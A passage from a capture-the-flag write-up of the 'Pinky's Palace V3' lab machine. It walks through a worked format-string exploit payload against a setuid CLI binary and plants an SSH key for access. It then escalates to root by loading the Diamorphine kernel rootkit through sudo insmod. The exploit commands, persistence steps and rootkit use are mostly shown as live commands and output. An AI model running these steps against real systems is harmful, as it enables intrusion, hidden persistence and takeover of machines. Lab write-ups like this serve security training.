This nicely padded it, to bye 122 and 123 which I confirmed
pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI AAAABBBBC%122\$x%123\$x
[+] Args: AAAABBBBC4141414142424242
To do this I needed to write it in little-endian so needed to inject 0xbfffff9e as 0xff9e then 0xbfff
I had to overwrite the addresses as follows
0x804a01c with 0xff9e
0x804a01e with 0xbfff
So the start of the exploit was, with the target addresses converted to little endian
$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")
I then had to pad it 1 byte
$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C
The first value to write was 0xff9e which is 65438 in decimal, so I need to print 65438 bytes before the \$hn to write memory, but the exploit already contains 9 bytes, so it needed 65429 more. This made the next part of the exploit
$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C%65429x%122\$hn
From here I needed to write 0xbfff which is 49151, I had already gone over this, so I had to cycle round, the max value of a 2 byte unsigned int is 65535, as 65439 have already been printed 97 would max it, and 98 would overflow it. Then I needed 49151 more, so the total to read would be 49249. Which leads to the final exploit
$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C%65429x%122\$hn%49249x%123\$hn
So I ran the exploit
pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C%65429x%122\$hn%49249x%123\$hn
$
Note: Looking back at this you may be wondering why I switched from python to printf, and I recently realised why, although in this writeup I used python (python2) in all commands, when actually executing them some I used python3, this caused issues with the text encoding, which broke the exploit, using printf fixed this and at the time I did not realise it was python3 causing the issues!
And a new shell was popped
$ whoami
pinky
Due to some issue my usual python trick didn't work, so I generated an ssh key which I would setup onto the account
root@kali:~# ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): pinky
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in pinky.
Your public key has been saved in pinky.pub.
The key fingerprint is:
SHA256:mFeSPmhaCsAdfviAo6qvSj56hamBCSy56IotmGoL8Zo root@kali
The key's randomart image is:
+---[RSA 2048]----+
| . |
|. + o . |
|o= = . o . |
|=o. + = o |
|Bo.o .* S |
|Boo..= . . |
|==..o |
|@B. |
|EB= |
+----[SHA256]-----+
root@kali:~# cat pinky.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcfxQipD4gBPube3L1uo9duTa2vhxeiDyvOtivnlzzCFVIffd3T0N9n/6+NpvQksYhub2xLX0zs85dgT8k16ODa0Wd7pd6l/IjDn3ELhiRgDczVT44zfc6YzePZmtozQKjZRP+dvjrw07UzK3C0ZgfARe97u3msNJfI6ED007fVkDdDYLwB19fccMMnG4AF5fClG9paGl529iUdj0wn0RIVnHGB7onpxUPCYDOs8lpOHDEXQmCCbFDNDFmpg1nNz2m822yeGT45WpAY/A49MatHIhZFqavNvKGVvGd75OQLfwh7XKlj6dZm+IQW4+flL2rcsEXJKufr9uAXgyx3wVn root@kali
With the key generated I put it onto the server so I could use it
$ cd /home/pinky
$ ls -la
drwx------ 2 pinky pinky 4096 May 15 02:47 .
drwxr-xr-x 5 root root 4096 May 12 18:36 ..
lrwxrwxrwx 1 root root 9 May 7 21:01 .bash_history -> /dev/null
-rw-r--r-- 1 pinky pinky 220 Apr 19 17:52 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Apr 19 17:52 .bashrc
lrwxrwxrwx 1 root root 9 May 7 21:01 .mysql_history -> /dev/null
-rw-r--r-- 1 pinky pinky 675 Apr 19 17:52 .profile
$ mkdir .ssh
$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcfxQipD4gBPube3L1uo9duTa2vhxeiDyvOtivnlzzCFVIffd3T0N9n/6+NpvQksYhub2xLX0zs85dgT8k16ODa0Wd7pd6l/IjDn3ELhiRgDczVT44zfc6YzePZmtozQKjZRP+dvjrw07UzK3C0ZgfARe97u3msNJfI6ED007fVkDdDYLwB19fccMMnG4AF5fClG9paGl529iUdj0wn0RIVnHGB7onpxUPCYDOs8lpOHDEXQmCCbFDNDFmpg1nNz2m822yeGT45WpAY/A49MatHIhZFqavNvKGVvGd75OQLfwh7XKlj6dZm+IQW4+flL2rcsEXJKufr9uAXgyx3wVn > /home/pinky/.ssh/authorized_keys
root@kali:~# ssh pinky@192.168.56.102 -i pinky -p 5555
pinky@pinkys-palace:~$
Rootkit to root
With proper ssh access I could now look around for a route to root
pinky@pinkys-palace:~$ sudo -l
Matching Defaults entries for pinky on pinkys-palace:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pinky may run the following commands on pinkys-palace:
(ALL) NOPASSWD: /sbin/insmod
(ALL) NOPASSWD: /sbin/rmmod
These tools allow me to install kernel modules. So, I could install a rootkit to spawn a root shell, I found https://github.com/m0nad/Diamorphine which I downloaded locally to transfer to the target
root@kali:~# git clone https://github.com/m0nad/Diamorphine
root@kali:~# scp -P 5555 -i pinky -r Diamorphine pinky@192.168.56.102:/tmp
This loaded the rootkit onto the target
pinky@pinkys-palace:~$ cd /tmp
pinky@pinkys-palace:/tmp$ ls -la
drwxrwxrwt 10 root root 4096 Sep 3 15:05 .
drwxr-xr-x 21 root root 4096 Apr 19 17:46 ..
drwxr-xr-x 3 pinky pinky 4096 Sep 3 15:05 Diamorphine
[SNIP]
With the rootkit in place, I set it up
pinky@pinkys-palace:/tmp$ cd Diamorphine/
pinky@pinkys-palace:/tmp/Diamorphine$ make
make -C /lib/modules/4.9.0-6-686/build M=/tmp/Diamorphine modules
make[1]: Entering directory '/usr/src/linux-headers-4.9.0-6-686'
CC [M] /tmp/Diamorphine/diamorphine.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/Diamorphine/diamorphine.mod.o
LD [M] /tmp/Diamorphine/diamorphine.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.9.0-6-686'
Then installed it as a kernel module
pinky@pinkys-palace:/tmp/Diamorphine$ sudo insmod diamorphine.ko
And utilised it to become root
pinky@pinkys-palace:/tmp/Diamorphine$ kill -64 0
pinky@pinkys-palace:/tmp/Diamorphine$ id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(pinky)
As I was now root I could grab the flag
pinky@pinkys-palace:/tmp/Diamorphine$ cd /root
pinky@pinkys-palace:/root$ ls -la
drwx------ 2 root root 4096 May 15 04:41 .
drwxr-xr-x 21 root root 4096 Apr 19 17:46 ..
lrwxrwxrwx 1 root root 9 May 7 20:53 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
lrwxrwxrwx 1 root root 9 May 7 20:53 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 787 May 15 03:05 root.txt
-rw------- 1 root root 8269 May 15 04:41 .viminfo
pinky@pinkys-palace:/root$ cat root.txt
____ _ _ _
| _ \(_)_ __ | | ___ _( )___
| |_) | | '_ \| |/ / | | |// __|
| __/| | | | | <| |_| | \__ \
|_| |_|_| |_|_|\_\\__, | |___/
|___/
____ _ __ _______
| _ \ __ _| | __ _ ___ __\ \ / /___ /
| |_) / _` | |/ _` |/ __/ _ \ \ / / |_ \
| __/ (_| | | (_| | (_| __/\ V / ___) |
|_| \__,_|_|\__,_|\___\___| \_/ |____/
[+][+][+][+][+] R00T [+][+][+][+][+]
[+] Congrats on Pwning Pinky's Palace V3!
[+] Flag: [REDACTED]
[+] I hope you enjoyed and learned from this box!
[+] If you have feedback send me it on Twitter!
[+] Twitter: @Pink_P4nther
[+] Thanks to my dude 0katz for helping with testing, follow him on twitter: @0katz
And with that I was done, this machine was a lot of fun and really made me think, bring on v4!